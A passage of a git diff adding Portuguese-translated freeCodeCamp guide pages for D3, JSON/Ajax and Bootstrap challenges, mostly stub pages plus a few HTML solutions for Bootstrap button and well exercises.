diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md
new file mode 100644
index 0000000000..cd1d509909
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md
@@ -0,0 +1,9 @@
+---
+title: Update the Height of an Element Dynamically
+localeTitle: Atualizar a Altura de um Elemento Dinamicamente
+---
+## Atualizar a Altura de um Elemento Dinamicamente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/update-the-height-of-an-element-dynamically/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md
new file mode 100644
index 0000000000..c872bf1cc1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Pre-Defined Scale to Place Elements
+localeTitle: Use uma escala pré-definida para colocar elementos
+---
+## Use uma escala pré-definida para colocar elementos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-a-pre-defined-scale-to-place-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md
new file mode 100644
index 0000000000..20b72fae3f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Dynamic Scales
+localeTitle: Use escalas dinâmicas
+---
+## Use escalas dinâmicas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-dynamic-scales/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md
new file mode 100644
index 0000000000..b4b70d7395
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the d3.max and d3.min Functions to Find Minimum and Maximum Values in a Dataset
+localeTitle: Use as funções d3.max e d3.min para localizar valores mínimos e máximos em um conjunto de dados
+---
+## Use as funções d3.max e d3.min para localizar valores mínimos e máximos em um conjunto de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/use-the-d3.max-and-d3.min-functions-to-find-minimum-and-maximum-values-in-a-dataset/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md
new file mode 100644
index 0000000000..705766bb45
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Work with Data in D3
+localeTitle: Trabalhar com dados no D3
+---
+## Trabalhar com dados no D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/work-with-data-in-d3/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md
new file mode 100644
index 0000000000..3124cdf1a4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md
@@ -0,0 +1,9 @@
+---
+title: Work with Dynamic Data in D3
+localeTitle: Trabalhar com dados dinâmicos no D3
+---
+## Trabalhar com dados dinâmicos no D3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/data-visualization-with-d3/work-with-dynamic-data-in-d3/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/index.md b/client/src/guide/portuguese/certifications/data-visualization/index.md
new file mode 100644
index 0000000000..eda9f46c05
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Visualization
+localeTitle: Visualização de dados
+---
+## Visualização de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md
new file mode 100644
index 0000000000..d0842a3de7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md
@@ -0,0 +1,9 @@
+---
+title: Access the JSON Data from an API
+localeTitle: Acessar os dados JSON de uma API
+---
+## Acessar os dados JSON de uma API
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/access-the-json-data-from-an-api/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md
new file mode 100644
index 0000000000..545c800223
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Text with click Events
+localeTitle: Alterar texto com eventos de clique
+---
+## Alterar texto com eventos de clique
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/change-text-with-click-events/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md
new file mode 100644
index 0000000000..e783f9f42c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md
@@ -0,0 +1,9 @@
+---
+title: Convert JSON Data to HTML
+localeTitle: Converter dados JSON em HTML
+---
+## Converter dados JSON em HTML
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/convert-json-data-to-html/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md
new file mode 100644
index 0000000000..a2f1dfd51e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md
@@ -0,0 +1,9 @@
+---
+title: Get Geolocation Data to Find A User's GPS Coordinates
+localeTitle: Obter dados de localização geográfica para localizar coordenadas de GPS de um usuário
+---
+## Obter dados de localização geográfica para localizar coordenadas de GPS de um usuário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/get-geolocation-data-to-find-a-users-gps-coordinates/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md
new file mode 100644
index 0000000000..f7b0e905ff
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Get JSON with the JavaScript XMLHttpRequest Method
+localeTitle: Obtenha o JSON com o método JavaScript XMLHttpRequest
+---
+## Obtenha o JSON com o método JavaScript XMLHttpRequest
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/get-json-with-the-javascript-xmlhttprequest-method/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md
new file mode 100644
index 0000000000..6bdb50b52d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Handle Click Events with JavaScript using the onclick property
+localeTitle: Manipular eventos de clique com JavaScript usando a propriedade onclick
+---
+## Manipular eventos de clique com JavaScript usando a propriedade onclick
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/handle-click-events-with-javascript-using-the-onclick-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/index.md
new file mode 100644
index 0000000000..0e5d657cb8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/index.md
@@ -0,0 +1,11 @@
+---
+title: JSON APIs and Ajax
+localeTitle: APIs JSON e Ajax
+---
+## APIs JSON e Ajax
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md
new file mode 100644
index 0000000000..f89de8f95f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Post Data with the JavaScript XMLHttpRequest Method
+localeTitle: Postar dados com o método JavaScript XMLHttpRequest
+---
+## Postar dados com o método JavaScript XMLHttpRequest
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/post-data-with-the-javascript-xmlhttprequest-method/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md
new file mode 100644
index 0000000000..e4cabbb452
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md
@@ -0,0 +1,9 @@
+---
+title: Pre-filter JSON to Get the Data You Need
+localeTitle: Pré-filtre JSON para obter os dados de que você precisa
+---
+## Pré-filtre JSON para obter os dados de que você precisa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/pre-filter-json-to-get-the-data-you-need/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md
new file mode 100644
index 0000000000..0b8b6d4b2f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md
@@ -0,0 +1,9 @@
+---
+title: Render Images from Data Sources
+localeTitle: Renderizar imagens de fontes de dados
+---
+## Renderizar imagens de fontes de dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/data-visualization/json-apis-and-ajax/render-images-from-data-sources/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md
new file mode 100644
index 0000000000..b56af15373
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-elements-within-your-bootstrap-wells/index.md
@@ -0,0 +1,44 @@
+---
+title: Add Elements within Your Bootstrap Wells
+localeTitle: Adicionar elementos dentro dos seus poços de bootstrap
+---
+## Adicionar elementos dentro dos seus poços de bootstrap
+
+No último desafio, você criou um div com a classe de poço, esse desafio agora requer que você adicione 3 elementos de botão em cada um dos poços.
+
+### Sugestão
+
+Um botão é declarado da seguinte forma:
+
+```html
+
+<button></button> 
+```
+
+### Solução
+
+Como temos que declarar 3 botões em cada poço, faríamos o seguinte:
+
+```html
+
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button></button> 
+        <button></button> 
+        <button></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button></button> 
+        <button></button> 
+        <button></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md
new file mode 100644
index 0000000000..ae04e56adb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-all-of-our-buttons/index.md
@@ -0,0 +1,88 @@
+---
+title: Add Font Awesome Icons to all of our Buttons
+localeTitle: Adicionar ícones de fonte impressionante para todos os nossos botões
+---
+## Adicionar ícones de fonte impressionante para todos os nossos botões
+
+### Explicação do Problema
+
+Use Font Awesome para adicionar um ícone de `info-circle` de informações ao seu botão de informações e um ícone de `trash` ao seu botão de exclusão.
+
+#### Links Relevantes:
+
+*   [Fonte Incrível](https://fontawesome.com/)
+*   [Diferente entre Font Awesome v4 e v5](https://fontawesome.com/how-to-use/on-the-web/setup/upgrading-from-version-4)
+
+### Sugestão
+
+*   A folha de estilo do Font Awesome desta página é a versão 4.5.0, portanto, você deve usar um prefixo `fa` vez de um novo `fas` . Verifique o [link](https://fontawesome.com/how-to-use/on-the-web/setup/upgrading-from-version-4) para saber mais sobre a diferença entre a v4 e a nova v5.
+*   Logotipos e as classes CSS relevantes para os logotipos podem ser encontradas [aqui](https://fontawesome.com/icons?d=gallery) .
+*   Adicionar um espaço entre a tag `<i>` e o texto dará um bom espaçamento.
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+### Solução:
+
+```html
+
+<link href="https://fonts.googleapis.com/css?family=Lobster" rel="stylesheet" type="text/css"> 
+ <style> 
+  h2 { 
+    font-family: Lobster, Monospace; 
+  } 
+ 
+  .thick-green-border { 
+    border-color: green; 
+    border-width: 10px; 
+    border-style: solid; 
+    border-radius: 50%; 
+  } 
+ </style> 
+ 
+ <div class="container-fluid"> 
+  <div class="row"> 
+    <div class="col-xs-8"> 
+      <h2 class="text-primary text-center">CatPhotoApp</h2> 
+    </div> 
+    <div class="col-xs-4"> 
+      <a href="#"><img class="img-responsive thick-green-border" src="https://bit.ly/fcc-relaxing-cat" alt="A cute orange cat lying on its back."></a> 
+    </div> 
+  </div> 
+  <img src="https://bit.ly/fcc-running-cats" class="img-responsive" alt="Three kittens running towards the camera."> 
+  <div class="row"> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-primary"><i class="fa fa-thumbs-up"></i> Like</button> 
+    </div> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-info"><i class="fa fa-info-circle"></i>Info</button> 
+    </div> 
+    <div class="col-xs-4"> 
+      <button class="btn btn-block btn-danger"><i class="fa fa-trash"></i>Delete</button> 
+    </div> 
+  </div> 
+  <p>Things cats <span class="text-danger">love:</span></p> 
+  <ul> 
+    <li>cat nip</li> 
+    <li>laser pointers</li> 
+    <li>lasagna</li> 
+  </ul> 
+  <p>Top 3 things cats hate:</p> 
+  <ol> 
+    <li>flea treatment</li> 
+    <li>thunder</li> 
+    <li>other cats</li> 
+  </ol> 
+  <form action="/submit-cat-photo"> 
+    <label><input type="radio" name="indoor-outdoor"> Indoor</label> 
+    <label><input type="radio" name="indoor-outdoor"> Outdoor</label> 
+    <label><input type="checkbox" name="personality"> Loving</label> 
+    <label><input type="checkbox" name="personality"> Lazy</label> 
+    <label><input type="checkbox" name="personality"> Crazy</label> 
+    <input type="text" placeholder="cat photo URL" required> 
+    <button type="submit">Submit</button> 
+  </form> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md
new file mode 100644
index 0000000000..a2e1d6c1a0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Font Awesome Icons to our Buttons
+localeTitle: Adicione ícones de fonte impressionante aos nossos botões
+---
+## Adicione ícones de fonte impressionante aos nossos botões
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/add-font-awesome-icons-to-our-buttons/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md
new file mode 100644
index 0000000000..1e93dd523f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/add-id-attributes-to-bootstrap-elements/index.md
@@ -0,0 +1,56 @@
+---
+title: Add id Attributes to Bootstrap Elements
+localeTitle: Adicionar atributos de identificação a elementos do bootstrap
+---
+## Adicionar atributos de identificação a elementos do bootstrap
+
+O último desafio foi você adicionar uma classe aos seus elementos de botão, desta vez você tem que adicionar id (s) ao (s) div (s) que têm a classe do poço.
+
+### Sugestão 1
+
+Um id é declarado da seguinte forma:
+
+```html
+
+<element id="id(s)List"></element> 
+```
+
+### Sugestão 2
+
+Edite as tags div que têm a classe do poço
+
+### Dica 3
+
+Use id (s) diferentes para ambos os poços.
+
+### Dica 4
+
+Dê o bem à esquerda o id da `left-well` e o bem à direita o id da `right-well` .
+
+### Solução
+
+Como você precisa adicionar id (s) a ambos os poços e ter ambos com um ID exclusivo, o seguinte é a solução:
+
+```html
+
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well" id="left-well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well" id="right-well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md
new file mode 100644
index 0000000000..008030e9d7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md
@@ -0,0 +1,44 @@
+---
+title: Apply the Default Bootstrap Button Style
+localeTitle: Aplicar o estilo padrão do botão de inicialização
+---
+## Aplicar o estilo padrão do botão de inicialização
+
+O último desafio tinha você criando 6 botões, 3 em cada elemento do poço, desta vez você é obrigado a adicionar classes a esses botões.
+
+### Sugestão
+
+Uma classe é declarada usando a seguinte sintaxe:
+
+```html
+
+<button class="class(es)Name"></button> 
+```
+
+### Solução
+
+Como você deve adicionar as classes `btn` e `btn-default` , o seguinte é a solução:
+
+```html
+
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md
new file mode 100644
index 0000000000..c60f9adde0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md
@@ -0,0 +1,9 @@
+---
+title: Call out Optional Actions with btn-info
+localeTitle: Chame as ações opcionais com btn-info
+---
+## Chame as ações opcionais com btn-info
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md
new file mode 100644
index 0000000000..f5a89300e6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Center Text with Bootstrap
+localeTitle: Texto Central com Bootstrap
+---
+## Texto Central com Bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md
new file mode 100644
index 0000000000..c2034cdbdf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Block Element Bootstrap Button
+localeTitle: Criar um botão de bootstrap de elemento de bloco
+---
+## Criar um botão de bootstrap de elemento de bloco
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md
new file mode 100644
index 0000000000..3793837d72
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Button
+localeTitle: Crie um botão de bootstrap
+---
+## Crie um botão de bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md
new file mode 100644
index 0000000000..24dc43f806
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Headline
+localeTitle: Criar um título de bootstrap
+---
+## Criar um título de bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md
new file mode 100644
index 0000000000..73d10f1387
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Row
+localeTitle: Criar uma linha de bootstrap
+---
+## Criar uma linha de bootstrap
+
